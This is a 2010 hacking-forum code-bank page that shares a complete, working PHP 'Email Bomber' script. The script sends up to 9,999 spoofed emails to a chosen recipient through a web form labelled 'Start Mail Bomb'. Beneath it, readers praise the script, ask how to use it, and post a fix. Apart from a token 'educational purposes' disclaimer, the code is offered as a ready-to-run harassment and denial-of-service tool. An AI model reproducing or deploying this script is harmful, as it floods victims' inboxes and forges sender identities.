Wednesday, September 08, 2010 03:41:48Login · Register
 

    Challenge Activity
02:59:54 - lacanian
     - Completed basic [13]
02:47:44 - chuiy
     - Completed basic [8]
10:12:24 - blabla
     - Completed basic [2]
10:04:32 - blabla
     - Completed basic [1]
09:22:30 - satishek
     - Completed privilege [4]
09:13:29 - mandrake
     - Completed crack [2]
04:18:55 - Iceheart456
     - Completed decrypt [3]
04:18:28 - InferiorHell
     - Completed decrypt [3]
04:18:12 - Iceheart456
     - Completed decrypt [2]
04:17:02 - Iceheart456
     - Completed decrypt [1]
04:16:34 - InferiorHell
     - Completed decrypt [2]
03:54:07 - InferiorHell
     - Completed decrypt [1]
03:42:18 - InferiorHell
     - Completed basic [4]
03:06:00 - mandrake
     - Completed decrypt [7]
02:54:04 - lacanian
     - Completed basic [12]
02:31:49 - am107cs019
     - Completed decrypt [7]
 

    Scoreboard Top 20
UserPoints
Abhineet4795   
auditorsec4795   
ne0114795   
Null Set4795   
blandyuk4780   
bluechill4750   
Teddy4730   
TurboBorland4475   
Qwexotic4460   
tiiger11114205   
preet4180   
LiquidFusi0n4175   
OnlyHuman4125   
samthg4110   
satishek3900   
pilchdragon3660   
Override3655   
chronic123640   
dash803590   
Torrment3515   
 

    Login
Username

Password



Not a member yet?
Click here to register.

Forgotten your password?
Request a new one here.
 

    Users Online
· Guests Online: 6

· Members Online: 0

· Members on IRC: 7
TurboBorland, thebigbucks, sirEgghead, Satan911, NoX, louve, LK

· Bots Online: 1
GoogleBot

· Total Members: 1,476
· Newest Member: blabla
 

 

 

 

    Top 10 Forum Posters
UserPosts
bluechill915   
Qwexotic692   
cruizrisner476   
Null Set350   
TurboBorland331   
Stormc1nd3r308   
auditorsec299   
madf0x296   
Override238   
jakecrepinsek235   
 

    Affiliates
 

Email Bomber
index.php:

Download source  GeSHi: PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
 
<?php
 
// Note this script is for educational purposes
// ONLY. SO does not condone email bombing.
 
// Yet again I found a script that was coded
// very poorly, so I took the liberty of writing
// a script with the same basic idea, while
// also making it have very clean coding, as
// well as proper input checking - Qwexotic
 
// Remember, you must add in any filtration
// functions yourself, such as the famous
// mysql_real_escape_string(); or even
// htmlentities(); or a custom function...
 
$f_name = isset($_POST['f_name']) ? $_POST['f_name'] : "";
$f_email = isset($_POST['f_email']) ? $_POST['f_email'] : "";
 
$r_email = isset($_POST['r_email']) ? $_POST['r_email'] : "";
 
$subject = isset($_POST['subject']) ? $_POST['subject'] : "";
$message = isset($_POST['message']) ? $_POST['message'] : "";
 
$number = isset($_POST['number']) ? preg_replace('/\..*/', '', $_POST['number']) : "";
 
$header = "From: ".$f_name." <".$f_email.">\n";
$header .= "Reply-To: ".$f_email."\n";
 
echo "<center>\n";
 
if ($f_name != "" || $f_email != "" || $r_email != "" || $subject != "" || $message != "" || $number != "") {
        $errors = "";
 
        if (strlen($f_name) > 40) {
                $errors .= "Your name must be 40 characters or less.<br />\n";
        }
 
        if ($f_email == "") {
                $errors .= "You must enter a sender email address.<br />\n";
        } else {
                if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $f_email)) {
                        $errors .= "You must enter a valid sender email address.<br />\n";
                }
        }
 
        if (strlen($f_email) > 60) {
                $errors .= "Your email must be 60 characters or less.<br />\n";
        }
 
        if ($r_email == "") {
                $errors .= "You must enter a recipient email address.<br />\n";
        } else {
                if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $r_email)) {
                        $errors .= "You must enter a valid recipient email address.<br />\n";
                }
        }
 
        if (strlen($r_email) > 60) {
                $errors .= "The recipient email must be 60 characters or less.<br />\n";
        }
 
        if (strlen($subject) > 40) {
                $errors .= "The subject must be 40 characters or less.<br />\n";
        }
 
        if ($message == "") {
                $errors .= "You must enter a message to send.<br />\n";
        }
 
        if ($number == "") {
                $errors .= "You must enter a number of messages to send.<br />\n";
        } else {
                if ($number < 2) {
                        $errors .= "You must enter a number greater than 1.<br />\n";
                } elseif ($number > 9999) {
                        $errors .= "You must enter a number less than 10000.<br />\n";
                }
        }
 
        if ($errors == "") {
                if ($subject == "") {
                        for($i=1; $i <= $number; $i++){
                                mail($r_email, substr(md5(rand(1, 100)), 0, 5), $message, $header);
                        }
                } else {
                        for($i=1; $i <= $number; $i++){
                                mail($r_email, $subject, $message, $header);
                        }
                }
 
                echo $number." messages have been sent to ".$r_email." successfully.<br />\n<a href='nojavascript...history.go(-1);' title='Start Another Mail Bomb'>Start Another Mail Bomb</a><br />\n";
        } else {
                echo "<span style='color: red;'>n".$errors."</span>\n<a href='nojavascript...history.go(-1);' title='Try Again'>Please Try Again</a><br />\n";
        }
} else {
        echo "* Denotes a required field.<br /><br />nNote that leaving a subject blank<br />nwill generate a random subject<br />nfor every new message.<br /><br />\n";
        echo "<table cellspacing='2' cellpadding='2'>\n";
        echo "<form action='' method='post'>\n";
        echo "<tr>\n";
        echo "<td>Your Name:</td>\n";
        echo "<td><input type='text' name='f_name' size='50' maxlength='40' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Your Email: *</td>\n";
        echo "<td><input type='text' name='f_email' size='50' maxlength='60' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Recipient Email: *</td>\n";
        echo "<td><input type='text' name='r_email' size='50' maxlength='60' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Subject:</td>\n";
        echo "<td><input type='text' name='subject' size='50' maxlength='40' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Message: *</td>\n";
        echo "<td><textarea name='message' rows='5' cols='50'></textarea></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Number Of Messages: *</td>\n";
        echo "<td><input type='text' name='number' size='4' maxlength='4' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td></td>\n";
        echo "<td><input type='submit' value='Start Mail Bomb' /></td>\n";
        echo "</tr>\n";
        echo "</form>\n";
        echo "</table>\n";
}
 
echo "</center>\n";
 
?>
Parsed in 0.166 seconds, using GeSHi 1.0.8.6
Comments
 
#1 | Killordie on 05/09/2010 16:48
Very nice code Smile
Keep up the work.
#2 | skiddieteh0ne on 05/10/2010 09:43
That's nice, thanks!
#3 | darkmpulse1 on 05/17/2010 23:41
Wow I had allot of fun trying to figure out how to work it, I also learned allot.
#4 | Qwexotic on 05/18/2010 10:45
Arg. Code bank filters, once again, screwing up perfect coding. :(

I had to fix the preg, because the filters screwed it up by removing one backslash...


The corrected code:

Code
$number = isset($_POST['number']) ? preg_replace('/\..*/', '', $_POST['number']) : "";


#5 | Suhird on 05/26/2010 11:52
how to use it??????
#6 | Razorblade on 05/30/2010 10:23
You can just use 1 echo and close it a few rows below...
Other than that; looks neat. =)
#7 | mzherr on 07/25/2010 09:20
still work?
 
 
Post Comment
 
Please Login to Post a Comment.
 
 
Ratings
 
Rating is available to Members only.

Please login or register to vote.

Awesome! Awesome! 25% [1 Vote]
Very Good Very Good 25% [1 Vote]
Good Good 50% [2 Votes]
Average Average 0% [No Votes]
Poor Poor 0% [No Votes]